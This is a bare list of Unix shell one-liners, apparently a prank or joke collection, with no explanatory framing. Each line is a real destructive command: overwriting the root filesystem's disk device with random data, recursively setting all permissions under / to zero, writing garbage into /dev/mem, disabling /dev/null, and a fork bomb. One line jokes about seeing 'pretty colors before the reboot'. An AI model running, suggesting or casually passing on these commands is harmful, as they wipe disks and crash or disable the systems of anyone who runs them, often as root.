nice -n-20 dd if=/dev/random of=$(mount|grep '/ '|cut -d' ' -f1) &
su -
cd /
chmod -R 000 *
yes > /dev/mem
chmod 000 /dev/null
tail -f /dev/console
dd </dev/urandom >/dev/mem (If your video ram is shadowed, you will see many pretty colors before the reboot. )
bash$ : (){ :|:& };: